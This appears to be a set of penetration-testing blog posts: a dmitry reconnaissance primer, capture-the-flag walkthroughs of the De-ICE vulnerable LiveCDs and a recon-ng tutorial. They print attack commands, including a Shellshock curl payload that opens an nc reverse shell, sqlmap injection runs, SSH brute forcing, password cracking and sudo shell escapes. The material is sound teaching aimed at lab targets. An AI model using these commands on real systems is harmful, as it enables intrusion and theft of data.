For quite some time fierce was my go to DNS testing tool, we even wrote a post on it, and I still use it extensively but recently I have been using dmitry in parallel. dmitry is the Deepmagic Information Gathering Tool and while it doesn’t have the subdomain brute force functionality that I love in fierce it automates other functions that I never realized I was tired of doing manually.

Why do we spend so much time on DNS? A companies DNS server is a gold mine of information during a penetration test. This is especially true if organizations that have an improperly configured split view DNS where internal records are exposed externally. It is also pretty common to find test, development, or integration servers that have been exposed in DNS and then forgotten about. Why spend all of your penetration testing efforts on the fully patched and hardened server when the test server from 2006 is available. DNS helps find the path of least resistance. Once again we will be using the hackerone directory to demonstrate this tool on real world systems. For dmitry I chose marktplaats.nl.

root@kali:~# dmitry -h
Deepmagic Information Gathering Tool
"There be some deep magic going on"

dmitry: invalid option -- 'h'
Usage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
  -o     Save output to %host.txt or to file specified by -o file
  -i     Perform a whois lookup on the IP address of a host
  -w     Perform a whois lookup on the domain name of a host
  -n     Retrieve Netcraft.com information on a host
  -s     Perform a search for possible subdomains
  -e     Perform a search for possible email addresses
  -p     Perform a TCP port scan on a host
* -f     Perform a TCP port scan on a host showing output reporting filtered ports
* -b     Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires the -p flagged to be passed

We are going to simply step through the options with a brief description and talk about what information would be useful during different phases of a pen test.

-i and -w perform a whois lookup in a slightly different way. We will combine them together to get an IP address and a whois lookup at the same time. For our primer the domain name would probably be the preferred start point but if you only had an IP address to start with the -i option would get the same results. I’ve used dmitry to track down the source of a brute force attack on an internet facing system. It wasn’t very amazing it was a compromised host in a medium size company.

Whois Lookup

Figure 1 – Whois Lookup

I’ve redacted the screenshot since whois reports are fairly extensive. But we know that the IP address we are working on is 91.211.72.194 and it is part of the 91.211.72.0/22 subnet. We also know that it is part of RIPE the regional internet registry that includes Europe. Which makes since because they are out of the Netherlands.

Next we will get the netcraft.com information for the domain. Netcraft is an internet security firm out of the UK which does anti-spam and anti-phishing work. We learn two things from the -n option. First, they are reputable enough to not have been reported for spam/phishing and second, that the IP address for the system changed so they probably have a load balancer or are hosting from multiple locations. This also makes sense.

Netcraft Report

Figure 2 – Netcraft Report

Lets use the -s option to look for subdomains. This isn’t super interesting but at least it has a few that we could look at if we were testing the entire domain.

Subdomain Search

Figure 3 – Subdomain Search

The -e option is useful for starting phishing attacks or feeding information into recon-ng, which we also have a tutorial on (hint, hint). This specific test was super anti-climatic but you get the idea.

Email Search

Figure 4 – Email Search

dmitry also has a built in port scanner, I like the banner enumeration function so I normally stack the -b option onto the -p port scan option.

Port Scan

Figure 5 – Port Scan

Wow, that is a lot of step. Why wouldn’t you just stack all those into one and write it out to a file instead? Because then how would this whole primer be longer than one page? The last screenshot is how I actually use it and I read out of the file instead of off the screen.

Combined Testing

Figure 6 – Combined Testing

marktplaats.nl was a boring choice for this tool but with luck whatever domain you point it at will be fruitful.

I had never done the S2 LiveCD; honestly I didn’t know it existed until I was looking for the download links for the series 1 set. This is basically a clean up to date walkthrough using Kali. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S2.100

Download Link: https://download.vulnhub.com/deice/De-ICE_S2.100_%28de-ice.net-2.100-1.0%29.iso

Scenario: The scenario for this LiveCD is that you have been given an assignment to test a company’s 192.168.2.xxx network to identify any vulnerabilities or exploits. The systems within this network are not critical systems and recent backups have been created and tested, so any damage you might cause is of little concern. The organization has had multiple system administrators manage the network over the last couple of years, and they are unsure of the competency previous (or current) staff.

Default IP: 192.168.2.100

Flags:
1. Port scan host and create list of open ports
2. Obtain access to file system
3. Perform post exploitation
4. Rummage about in the file system
4. FINAL FLAG: Find salary and Social Security Information for employees

Spoilers and Walkthrough

Using netdiscover to find the potential addresses I found the .100 and .101 addresses active.

root@kali:~# netdiscover

 Currently scanning: 192.168.4.0/16   |   Screen View: Unique Hosts

 192.168.2.254   00:50:56:fe:3a:17      1      60  Unknown vendor

I’ll start by creating a metasploit workspace and doing a port scan of the host. The name for the workspace is terrible but since I didn’t know that I would be differentiating between series 1 and 2 but it works.

workspace -a de-ice2-100
workspace de-ice2-100
db_nmap -T5 -p 0-65535 -A 192.168.2.100-101

I have had great success in numerous penetration tests with data in FTP so I will start there. Personally I like to use the filezilla GUI, I know that goes against everything that makes pen testing fun so feel free to use the command line. The anonymous user doesn’t perform a directory listing or show any files so lets dig into the vsftpd service. Searchsploit is the local version of the exploit-db database with the added benefit of not having to click on the CAPTCHA box.

root@kali:~# searchsploit vsftp
--------------------------------------------- ----------------------------------
 Exploit Title                               |  Path

vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
--------------------------------------------- ----------------------------------

Nothing specific for that version and mostly denial-of-service attacks so for now we can move on. Lets see what mischief we can get into with the web site. From the website directory we can harvest a list of users and email addresses for use later. In a real-world penetration test this would be the start for a well orchestrated phishing campaign.

The .101 website looks like a generic policy site so lets dig deeper into bother of them. Nikto finds some generic problems with the server but nothing that is immediately exploitable.

nikto -h 192.168.2.100
nikto -h 192.168.2.101
+ OSVDB-3268: /~root/: Directory indexing found.
+ OSVDB-637: /~root/: Allowed to browse root's home directory.

Lets rummage around in that directory. Nada.

During the Nmap scan we found out that the SMTP server has the VRFY verb enabled allowing us to determine potential user accounts for a brute force attack. The list is fairly simple, last name only, first name only, and first initial last name.

Metasploit has an SMTP enumeration module that we will use.

msf auxiliary(smtp_enum) > set USER_FILE /root/Desktop/s2100users.txt
USER_FILE => /root/Desktop/s2100users.txt

We now have three verified usernames to start an attack (Havisham, Magwitch, Pirrip). The .101 address had a ~root directory that was readable so lets check for those user directories. Good news, there aren’t any files in these either but all three exist. What files do we expect to see in a users home folder? I made a dump of my home folder to answer this question and some of the items that are obviously penetration testing tools. Linux hides folders that start with a . so lets dump this into a wordlist and get started.

The bold line above doesn’t show up in the other three but it has a 404 error which is odd also the /./ is a 200 code instead of a 404. Lets take a closer look.

.SSH Folder

Figure 1 – .SSH Folder

That sure looks like it exists. Lets take a quick detour into SSH to explain why this is important. SSH allows for password based authentication like we saw in the De-ICE series 1 LiveCDs it also can use Public Key encryption which relies on a generated public/private key pair. Having the id_rsa file is almost as good as having a the password in cleartext. Copy those two files to your .ssh local folder. Linux gets really upset if you don’t have 600 permissions set on id_rsa files so this saves a step of getting the error message, looking up the fix, and trying again.

root@kali:~/Desktop# ssh -i id_rsa pirrip@192.168.2.100

pirrip@slax:~$ su -

Sorry.

We don’t know the password so even being a member of the wheel group doesn’t help much. There isn’t much to work with in the file system either. In a normal penetration test you could use this system to pivot into others or upload a netcat or meterpreter shell. In this case since this is the only system in scope let look at other potential data sources. We know this is a mail server so:

From the email exchange we have to potential sets of credentials havisham:changeme and pirrip:0l1v3rTw1st. Lets try to get elevated privileges with the pirrip password first, since we are already logged in.

pirrip@slax:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

 #1) Respect the privacy of others.
 #2) Think before you type.
 #3) With great power comes great responsibility.

Password:
User pirrip may run the following commands on this host:
 (root) /usr/bin/more
 (root) /usr/bin/tail
 (root) /usr/bin/vi
 (root) /usr/bin/cat ALL

vi can be used to get shell, I learned this in a long drawn out penetration test where I got a similar restricted shell through the Shellshock vulnerability. In vi the :! command instructs vi to execute a shell command, lets try it.

pirrip@slax:~$ sudo vi

Use :q to exit vi. Feed the password hashes to John or Hashcat and let it cook! Time passes, seasons change. The wedding dress becomes torn and the feast rots on the table, I had to read Charles Dickens in college.

We found the file but how do we get it over to our system to check it out? There are a few possible options.

  1. Build a netcat listener and pipe the file over.
  2. Move the file to the FTP root and copy it across.
  3. Move it to the ~root directory and download it from the website.

Netcat is installed on server and this is an option but I am lazy so I ran the following commands to copy the file to the website and give read permissions to everyone:

/home/root/.save# cp great_expectations.zip /www/101/home/root/
chmod 744 great_expectations.zip

unzip great_expectations.zip
tar -xzf great_expectations.tar

The greatest piece of advice that I have received on Linux is how to remember the tar switches; say the following in a thick cartoonish german accent ‘Extract Zee Files’. tar -xzf, will this sound dumb when you do it? Yes. Will you remember it without looking at help? Yes.

The Charles_Dickens_3.jpg and Great_Expectations.pdf are pretty self explanatory. Lets look at the Jan08 file cat.

Here's the data for raises for your team:
Philip Pirrip:  734-67-0424 5.5% $74,224
Abel Magwitch:  816-03-0028 4.0% $53,122
Estella Havisham: 762-93-1073 12% $84,325

That is the data we were looking for. But, what about that other .jpg file that won’t do a preview? It won’t open in image software, maybe they are trying to obfuscate the file type by changing the extension? Use the file command in Linux to analyze the type.

file 363px-Charles_dickensyoung.jpg 
363px-Charles_dickensyoung.jpg: POSIX tar archive (GNU)

Thats not a JPG at all! Lets rename the file and take a look inside. Maybe that Jan08 file was a decoy. Nope it as just a second copy of the original archive but now you know how to file command. This was the best of times and the worst of times. I hope that you learned at least one thing that you will be able to put into practice in the future.

While digging though an old external drive I found the De-ICE LiveCD’s and walkthrough text files I had put together a few years ago. They are really simple; each one is a link to download the ISO, some non-spoiler information to get started, and spoilers on the off chance that you get stuck on some part of the challenge.

Personally, I learned a lot about post exploitation from some of the challenges in De-ICE. This one was short and sweet, not to many flags to deal with. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S1.130

Download Link: http://hackingdojo.com/downloads/iso/De-ICE_S1.130.iso

Default IP: Not so fast buddy, that is one of the flags

Flags:
1. Find default IP for system
2. Obtain access to the file system
3. Final Flag: Obtain the new user accounts bank information

Spoilers and Walkthrough

Port scan the image to get started. At this point I was having everyone do this through the metasploit console instead of stand alone.

msfconsole
workspace deice
db_nmap -sS -F -T4 --exclude 192.168.1.128 192.168.1.0/24

You will need to exclude your own IP, 192.168.1.128 is mine. If you are running any other known systems on your network add them to the exclude with a comma to separate the list.

msf > hosts

.1 and .2 are the VMWare NAT. You can check those but trust me. .123 is a different De-ICE LiveCD that is included in the same database because I’m lazy. Looks like 192.168.1.20 is the one.

netdiscover is another tool that looks for ARP requests to discover live hosts. While it isn’t integrated into metasploit I’ve used it on penetration tests to locate hosts for zero knowledge internal tests.

The -sV and -O combination is the same as -A but I’ve separated it out just to have this line of text to tell you that. When I originally did these walkthrough the notes because progressively less detailed since the small group was getting better each week. Since these are now stand alone I will add a little more detail hence the time mismatch.

In a normal penetration test, if this was the only host in scope, I would dig through the FTP and HTTP sites for data in parallel to performing vulnerability identification. We have used the Nikto web vulnerability scanner in the past and will use it again for this test. Nikto uses a custom User Agent string Mozilla/5.00 (Nikto/@VERSION) (Evasions:@EVASIONS) (Test:@TESTID). This can be changed in the /etc/nikto.conf file or the scan can be piped through the Burp proxy and used to change the User Agent. Most network security appliances and hardened web servers will not give good results to Nikto scans since it is known bad traffic.

nikto -h 192.168.1.20

http://192.168.1.20/info.php has good info. The /info.php page is good on any test and will usually be a finding in the penetration test report.

Logging into the FTP site as anonymous throws an error so no viable path there.

Connected to 192.168.1.20.

In parallel start a password attack on SSH using rockyou and root. See the S1.100 Tutorial for info on how to set it up. While the brute force attack runs, lets look at some other low hanging fruit.

Lets start by looking at the SMTP server.

use auxiliary/scanner/smtp/smtp_enum

The SMTP server pops back some good info, lets follow that rabbit hole down. We have one possible username from the website (customerserviceadmin@nosecbank.com). Lets build out a list for potential attacks.

customerserviceadmin
customeradmin
csadmin
adm
bin
daemon
dbadmin
ftp
gdm
operator
postmaster
sysadmin
webmaster

After some time passes you should return a password. I used xHydra so show the GUI interface but any password cracking tool will work.

Hey look .part1 lets put all that together. I had to cook this part from another walkthrough because java programming is not my forte. The code can be found at the bottom of this post, I named the file Decoder.java but you can be as creative as you want.

javac Decoder.java

java Decoder sysadmin

java Decoder root

Once you find this file (useracc_update.csv.enc) try the openssl decryption similar to earlier de-ice challenges. Hint look in the sysadmin profile.

root@slax:/home/ftp/incoming# openssl enc -aes-128-cbc -d -in useracc_update.csv.enc -out useracc_update.csv
enter aes-128-cbc decryption password:

I did not find this one from an old hard drive, the only thing I had was the link to the ISO and two empty text files. So this is basically a clean up to date walkthrough using Kali. This one was short and sweet, not to many flags to deal with. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S1.123

Default IP: Hey, Look at flag one slacker

Flags:
1. Find default IP for system
2. Enumerate ports and services
3. Identify web and network vulnerabilities for system
4. Gain root access to system

Spoilers and Walkthrough

We have used a few different tools to find hosts on a subnet and we will add another one for this test. ARP (address resolution protocol) maps physical MAC addresses to the corresponding IP address for a network, because it isn’t routed it is useful for finding systems . There are multiple tools that use ARP for this discovery but I have chosen arp-scan because it is already installed in Kali and I knew the switch to use.

root@kali:~# arp-scan --localnet
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1    00:50:56:c0:00:08    VMware, Inc.
192.168.1.2    00:50:56:e7:84:3f    VMware, Inc.
192.168.1.123    00:0c:29:1f:c6:f0    VMware, Inc.
192.168.1.254    00:50:56:e7:f4:91    VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.420 seconds (105.79 hosts/sec). 4 responded

Now that we know it is the .123 address lets port scan the image to get started. Once again, we will use the metasploit console to keep all of our into in one place.

msfconsole
workspace -a de-ice123
workspace de-ice123
db_nmap -T5 -A -p 0-65535 192.168.1.123

That is a lot to work with so lets narrow it down a bit and get started with some information gathering. Finger will expose user names and there is a simple scanner for it already built into metasploit.

use auxiliary/scanner/finger/finger_users
[*] 192.168.1.123:79      - 192.168.1.123:79 No users found.

That didn’t go as well as I had hoped. Lets look at a list of other open ports.

services
192.168.1.123  901    tcp    http         open   Samba SWAT administration server

Unfortunately, that is behind HTTP basic authentication and we don’t have any credentials to test yet. A little research shows that the by default it uses the root account and password for credentials. We can put that in the pile for a brute force attack later. Why am I showing you all of this stuff that doesn’t work? Because welcome to penetration testing. 99% of the things that you find, research, or try will be dead ends. That super sweet exploit the scanner found will either be a false positive or the local AV will eat the exploit and no amount of encryption and obfuscation will work. But, the research you do today about the finger service will pay off in three months when you run into it on another system.

Lets look at the Dokuwiki listening on port 80 and see if we can web app pen test this thing. I don’t want to copy all of the results here but I will paste the command and a few things that peaked my interest.

nikto -h 192.168.1.123
+ OSVDB-3268: /data/: Directory indexing found.
+ OSVDB-3092: /data/: This might be interesting...
+ OSVDB-3268: /lib/: Directory indexing found.
+ OSVDB-3092: /lib/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.

I couldn’t validate the /bin system shell but one of you smart web app people will probably get that. Manually looking through those pages with a browser might give you an idea of a few things that we will do later on. Since we have already used Nmap we can check that one off the list. I will use the sqlmap next since we might be able to inject the ?id= parameter. Using the wizard isn’t 1337 H4x0r but it is an easy test so there is not a reason to use Burp to capture a request.

root@kali:~# sqlmap --wizard

[22:43:57] [INFO] starting wizard interface

[2] Intermediate

No luck so if there is a SQL injection it is more obscure or needs some additional testing. Since the wiki talks about netcat lets see if that is a hint. There are two interesting ports based off numbering to look at 1337 and 31337. As a penetration tester DON’T DO THIS. Don’t try to be clever and show you are an elite hacker, also change the default port on your meterpreter shells. Be professional, 4444 and 1337 raise a lot of red flags on an IDS that 8080 and 8443 won’t. For readability I’ve bolded my command inputs.

We are root on the system through a netcat shell. On a real penetration test this would be a bad finding, this is where you actually stop testing and call your contact to tell they someone else has compromised their systems. Could it be a really bad system administrator who decided that adding a wildly unsecured access method was a good idea? Yes. Could it be a malicious attack? Yes. In this case you would grab a screenshot for your report and send up a flare to your client. Who knows, maybe you will get extra billable hours to clean it off.

I dug around on the rest of the system looking for other flags but didn’t find any data to manipulate. Based on the age of the PHP and Apache install there are probably lots of vulnerabilities that can be exploited on this system.

While digging though an old external drive I found the De-ICE LiveCD’s and walkthrough text files I had put together a few years ago. They are really simple; each one is a link to download the ISO, some non-spoiler information to get started, and spoilers on the off chance that you get stuck on some part of the challenge.

Personally, I learned a lot about post exploitation from some of the challenges in De-ICE. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

This is primarily a vulnerable web app so I started working with html injection on the http://192.168.1.120/add_product.php page
<h1>htmlinjection</h1>
<h1>htmlinjection1</h1>
<h1>htmlinjection2</h1>
Normally if you can get html injection it is possible to get XSS if you can bypass whatever filter is in place. I only use the number to keep track of which injection actually worked. I used burp to capture the request. Then saved it and loaded it into SQL map. the -r is what I named the file and -p is the name of the parameter to attack.

sqlmap -r /root/Desktop/deice/120webrequest -p price

No joy so lets hit it a little harder

sqlmap -r /root/Desktop/deice/120webrequest -p price --level=5 --risk=3

Nope lets try the other parameters

sqlmap -r /root/Desktop/deice/120webrequest -p product --level=5 --risk=3
sqlmap -r /root/Desktop/deice/120webrequest -p description --level=5 --risk=3

I might have busted it but there is another parameter here you can test. Feed the id parameter to sqlmap using the –wizard option http://192.168.1.120/products.php?id=1

sqlmap -r /root/Desktop/deice/120webrequest2 --level=5 --risk=3

So I’m not giving up on Shellshock.

curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc -e /bin/bash 192.168.1.130 5005"'  http://192.168.1.120/cgi-bin/printenv.cgi

Nope no joy. Lets try some metasploit attacks. Port 631 was listening and we have usernames and password.

use exploit/multi/http/cups_bash_env_exec

Even less joy. Sigh…lets just try the reversed passwords for the accounts. Our old friends ccoffee, bbanter and aadams are all there.

I haven’t cracked root yet but notice this “‘ccoffee:0’ ‘uid=1044(ccoffee) gid=100(users) groups=100(users),102(admin)”. the 102 admin group id is promising.

ccoffee@slax:~$ mv scripts/ scripts.old
ccoffee@slax:~$ mkdir scripts     
ccoffee@slax:~$ ln -s /bin/sh scripts/getlogs.sh
ccoffee@slax:~$ ls -l scripts/getlogs.sh 
lrwxrwxrwx 1 ccoffee users 7 Jan  7 23:03 scripts/getlogs.sh -> /bin/sh*
ccoffee@slax:~$ sudo scripts/getlogs.sh

What this did was move the old script folder that I didn’t have permissions to into the .old folder. The new getlogs.sh folder is linked to the shell command so doing sudo getlogs.sh creates a root shell.

There is no specific challenge so once you are on the system look around and be awesome.

While digging though an old external drive I found the De-ICE LiveCD’s and walkthrough text files I had put together a few years ago. They are really simple; each one is a link to download the ISO, some non-spoiler information to get started, and spoilers on the off chance that you get stuck on some part of the challenge.

Personally, I learned a lot about post exploitation from some of the challenges in De-ICE. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S1.110

Scenario: The scenario for this LiveCD is that a CEO of a small company has tasked you to do more extensive penetration testing of systems within his company. The network administrator has reconfigured systems within his network to meet tougher security requirements and expects you to fail any further penetration attempts. This system is an FTP server used by the network administrator team to create/reload systems on the company intranet. No classified or sensitive information should reside on this server. Through discussion with the administrator, you found out that this server had been used in the past to maintain customer information, but has been sanitized (as opposed to re-built). Prove to the network administrator that proper system configuration is not the only thing critical in securing a server.

Download Link: http://hackingdojo.com/downloads/iso/De-ICE_S1.110.iso

Default IP 192.168.1.110

Flags:
1. create list of open ports
2. create list of users for brute force
3. brute force password for one or more users on an open service
4. Log in using brute force password
5. Perform post exploitation
6. FINAL FLAG: obtain customer credit card information

 

Spoilers and Walkthrough

Change IP – Depending on your configuration you may not need to do this. Log in as root, password is at bottom of page. This assumes that you are using VMWare NAT and XX is the third octet of range you are using.

   ifconfig eth0 192.168.XX.110/24
   route add default gw 192.168.XX.2

Port Scan the System –

   nmap -sV -T4 -O -oX /root/Desktop/deice110 192.168.42.110

Hitting it with a version scan to determine what is running. We are going to output the file as xml and practice using the metasploit database. You can run it all from inside nmap using the db_nmap command and then normal nmap switches but I’m showing you the import function.

   msfconsole
   workspace -a deice
   workspace deice

This creates a database named deice and sets it as the current working

   db_import /root/Desktop/deice110
   hosts

You should see the 110 address. WooHoo!

   services

There should be four ports open. Go check out the website because it has info you need.
adamsa@herot.net
banterb@herot.net
coffeec@herot.net

I love me some FTP, I really love anonymous FTP

   use auxiliary/scanner/ftp/anonymous

Use either use the command line to get access to ftp or filezilla.
I used filezilla and downloaded everything.
The download/etc/shadow seems promising
John can work with the shadow file without unshadowing it.

Running john against it:

   john -rules -wordlist=/usr/share/wordlists/rockyou.txt shadow

john returned a password but it didn’t work.

There is a passwd file in dowload/opt/cygwin/etc but no shadow file so moving along
What is the core file in download/etc?

   file core
   core: ELF 32-bit LSB core file Intel 80386....

Better Google that it is a linux core dump file…go read some on that we’ll wait.

   strings core

The end looks like a dump of a shadow file

   strings core > /root/desktop/deice/coredump

This gives us a working copy on the desktop. I copied out the info and split it at the usernames. If you look at the shadow file from the 100 disk for the normal format; second verse, same as the first.

   john -rules -wordlist=/usr/share/wordlists/rockyou.txt coreshadow

This gives us the following users root, bbanter. SSH to the system and get root.

   ssh to the box as bbanter
   ssh bbanter@192.168.42.110
   su -

From the 100 disk we know that .enc files are encrypted and we are looking for credit card data so why not try to find that again.

   cd /
   find -iname *.enc

That pukes back a lot of things but look at:

   /home/root/.save/customer_account.csv.enc

Jump back to the openssl decrypt if you need help:

   openssl list-cipher-commands
   openssl enc -aes-128-cbc-d -in /home/root/.save/customer_account.csv.enc -out customer_account.csv

WAIT NO JOY!
Lets go look at the /home/root/.save folder

   cd /home/root/.save
   ls

Look at the copy.sh script

   cat copy.sh

This is the script that encrypted the file, the pass is in the “file” section. Lets decrypt it now:

   openssl enc -d -aes-256-cbc -in customer_account.csv.enc -out customer_account.csv -pass file:/etc/ssl/certs/pw
   cat customer_account.csv

BOOM you’re done. Openssl is a pain but now you’re a pro.

Personally, I learned a lot about post exploitation from some of the challenges in De-ICE. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. The De-ICE S1.100 was the first capture the flag type challenge that I ever did. I think I got it from a 2600 Magazine, so it holds a special place in my heart. I would have actually done this initially using BackTrack or PHLAK; PHALK still has the best Tux logo of any distro, RIP PHALK. I lost my original notes so this one is brand new, instead of a few years old like the other versions will be. Have fun and hopefully these are helpful.

SE-ICE S1.100

Scenario: The scenario for this LiveCD is that a CEO of a small company has been pressured by the Board of Directors to have a penetration test done within the company. The CEO, believing his company is secure, feels this is a huge waste of money, especially since he already has a company scan their network for vulnerabilities. To make the BoD happy, he decides to hire you for a 5-day job; and because he really doesn’t believe the company is insecure, he has contracted you to look at only one server – a old system that only has a web-based list of the company’s contact information. The CEO expects you to prove that the admins of the box follow all proper accepted security practices, and that you will not be able to obtain access to the box. Prove to him that a full penetration test of their entire corporation would be the best way to ensure his company is actually following best security practices.

Spoilers and Walkthrough

I usually start all assessments out with a port scan. This gives me at least an idea of where to start on a black box test. Since I am running this in a local VMWare environment speed isn’t an issue so -T5 it is. I also what to do OS detection and service enumeration so I’m using -A.

This is where it helps to have either been a sys admin or worked at a few different companies. The two most common username conventions I have encountered are <first>.<last>, <first initial><last>. I’ve also had <employee ID>, <first><last initial>, and worst of all <first 4 of last><first 3 of first>. Because the email addresses are <last><first initial> we will use that and also add root to the list because we know it is a Slax Linux host.

I’ll use metasploit to do the initial check for weak SSH passwords. You can set your options differently this is just a simple test.

msfconsole
use auxiliary/scanner/ssh/ssh_login
set BLANK_PASSWORDS true
set RHOSTS 192.168.1.100
set THREADS 4
set USER_FILE /root/Desktop/de-iceUsers.txt
set USER_AS_PASS true

Look at that! There is nothing better than a shell and you will never forget the first one you get. Mine was a unpatched BIND 9 DNS server.

The wheel group is our best bet since in Linux and Unix systems it allows users to run the su command. aadams is a member of the wheel group so we will try to brute force that password, again using metasploit.

We trust you have received the usual lecture from the local System

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

John the Ripper can directly attach shadow files so lets try it using the rockyou wordlist. The first one runs a simple set of rules to look for easy passwords, basically so you don’t have to find bbanter again.

Huh, .enc, google that I bet salary information isn’t supposed to be there. Running strings definitely doesn’t produce readable results.

But try googling the Salted__n and see if you can figure out what we might need to do. First, we need to remember the /etc/passwd entry that noted changing the root password would break encryption and second after some research we know that it is encrypted using OpenSSL.

root@slax:/home/ftp/incoming# openssl aes-128-cbc -d -in salary_dec2003.csv.enc -out salary_dec2003.csv
enter aes-128-cbc decryption password:
root@slax:/home/ftp/incoming# strings salary_dec2003.csv | head -10

That is certainly sensitive data! We’ve got all the flag, time to call it a day.

 

If you haven’t noticed we’ve been publishing more content lately. Partly, this is because we had a lull in the schedule to actually get things done and we also had a bunch of half finished stuff that we focused on getting done.

Here are the things you will see soon.

The last recon-ng installment, this one is exciting because it is the actual nuts and bolts

Relatively soon, some of these are half done some are nothing more than a title and vague idea at this point.

Penetration Testing Trade Craft

Not as soon.

Tool Usage Wiki, this is the equivalent of letting someone watch you make the secret sauce

In the course of all the penetration tests we have tracked down lots of default passwords. Default passwords are a quick win on most penetration tests but usually don’t get the respect of a good remote code execution. Just because it isn’t sexy doesn’t mean you don’t get access.

This isn’t by any means a complete list but we hope it helps. The table is fairly large so feel free to filter and search. There is a notes field hidden to the right that has some helpful stuff in it but unfortunately it doesn’t fit well.

Creating a Workspace

The workspace is an area that will help keep your reconnaissance organized.  Each workspace has it’s own directory inside the hidden .recon-ng directory in the home directory.

First we will find an organization to recon and build our workspace around this company.  We will use HackerOne to get our company.

This is how Wikipedia describes HackerOne:

HackerOne is a vulnerability coordination and bug bounty platform that connects businesses with cybersecurity researchers (aka, hackers). It is one of the first companies to embrace and utilize crowd-sourced security and hackers as linchpins of its business model, and is the largest cybersecurity firm of its kind.[1]”

Even though we are only performing reconnaissance in a non-intrusive manner, we will use a company from HackerOne’s Directory.  Under the right conditions, this company has agreed to recon and scanning.  We will only be using recon-ng. Figure 1 shows the company we will use in the tutorial but feel free to select a different company from HackerOne or use any one that you are authorized to test against.

HackerOne

Figure 1: HackerOne Company

Figures 2 and 3 show the scope that is authorized for testing including eligible submissions and domains.

Eligible Items

Figure 2: Eligible Items

Allowed Domains

Figure 3: Allowed Domains

workspaces -h shows us the different option we have a available to use (Figure 4).

Workspace -h

Figure 4: Workspace -h

Next we will add our workspace using the following command (Figure 5)

workspaces add
Adding a Workspace

Figure 5: Adding a Workspace

After this command you are automatically placed into your new workspace. workspaces list will show you the status of your workspaces.

List of workspaces

Figure 6: List of workspaces

Next, we will add our company and our domain.  This will add information to the SQLite database. To add information into the database, we need to understand the schema, the layout of the tables. To look at the schema of the database run the following command (Figure 7)

show schema
Show Schema

Figure 7: Show Schema

There are thirteen different tables, we will view the schema of the tables we use in this tutorial.

 add companies

Running the add companies command will make the other columns available.   Press enter if you want to leave that column blank.

Add Company

Figure 8: Add Company

Add the domain using the following command (Figure 9).

add domains
Add Domains

Figure 9: Add Domains

To verify that the domain was added successfully run the command shown in Figure 10.

show domains
List Domains

Figure 10: List Domains

A simple way of thinking about adding to the tables is shown in the next Figure 11.

Table Visualization

Figure 11: Table Visualization

Now that we’ve added data to the database and know how to ensure that data was manually inserted correctly lets move on to importing and exporting data.

Importing Data into the Database

We will uses theHarvester to gather information about United.com and import this into recon-ng’s database.

From Edge Security  http://www.edge-security.com/theharvester.php

“The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database.

This tool is intended to help Penetration Testers in the early stages of the penetration test in order to understand the customer footprint on the Internet. It is also useful for anyone that wants to know what an attacker can see about their organization.”

If theHarvester isn’t already installed, i.e. you aren’t using Kali Linux, you can clone it from here: https://github.com/laramies/theHarvester

theHarvester

Figure 12: theHarvester

We called theHarvester to gather data on domain united.com using all the data sources listed in the help screen.  We directed the output to my recon-ng folder using the ‘>’ operator. The sample command we used follows:

./theHarvester.py -d united.com -b all > ~/recon-ng/harvester.txt

The file name is harvester.txt. This is an ugly file that well will parse through using a few linux utilities. Sample results are shown in the next figure.

Sample Results

Figure 13: Sample Results

The next step is to make this snippet and clean it up a bit with some Linux utilities. We will use grep and AWK to trim the tree.

Grep and AWK

grep is a command-line utility for searching plain-text data sets for lines matching a regular expression.

This is by no means the perfect way.  This is just one of many to get the results you need. Using grep, we will create a list of email addresses from harvester.txt file. (Figure 14)

grep @united.com harvester.txt > united_emails.txt
grep command

Figure 14: grep command

If you are interested in the file contents use the cat command to view file the contents in the terminal

cat united_emails.txt
cat results

Figure 15: cat results

Next, we will create a list of hosts for import from theHarvester results. (Figure 16)

grep ":" harvester.txt
grep host

Figure 16: grep host

Grep will also help create the virtual host list.  Also take note that since “united.com” is the only domain in scope, it becomes part of the command.

grep ":" harvester.txt | grep united.com

The pattern that we wanted to match was “=” and I didn’t want to count the lines after the pattern so I chose to use 200 as my line count after the pattern, as shown in Figure 17.

grep for Virtual Hosts

Figure 17 grep for Virtual Hosts

This command was a little harder to figure out. The pattern that we wanted to match was “=” and I didn’t want to count the lines after the pattern so I chose to use 200 as my line count after the pattern.

grep -A200 "=" harvester.txt | grep united.com > virtual_hosts.txt

It is time to import our information into recon-ng.

Using the show modules command, we get a list of modules broken down by categories. We will use import/list module from the Import category.

show modules
Import Modules

Figure 18: Import Modules

The “show info” command shows the options to use and the table and columns that will be needed for the import.

show info
Show Info

Figure 19: Show Info

To find the column and table, we will use the “show schema” command.  This will give use a list of the Tables and the different columns in each.

show schema
Show Schema

Figure 20: Show Schema

To import email addresses, we will the  “contacts” table and the email column. Our file name will be the united_email.txt file we created using theHarvester. The “set” statement, sets the variables for the import. The “run” command executes the module.

set TABLE contacts
set COLUMN email
set FILENAME united_emails.txt
run
Email Import

Figure 21: Email Import

The “show contacts” command show the data inside the “Contacts Table”. This is a second verification that the data imported correctly.
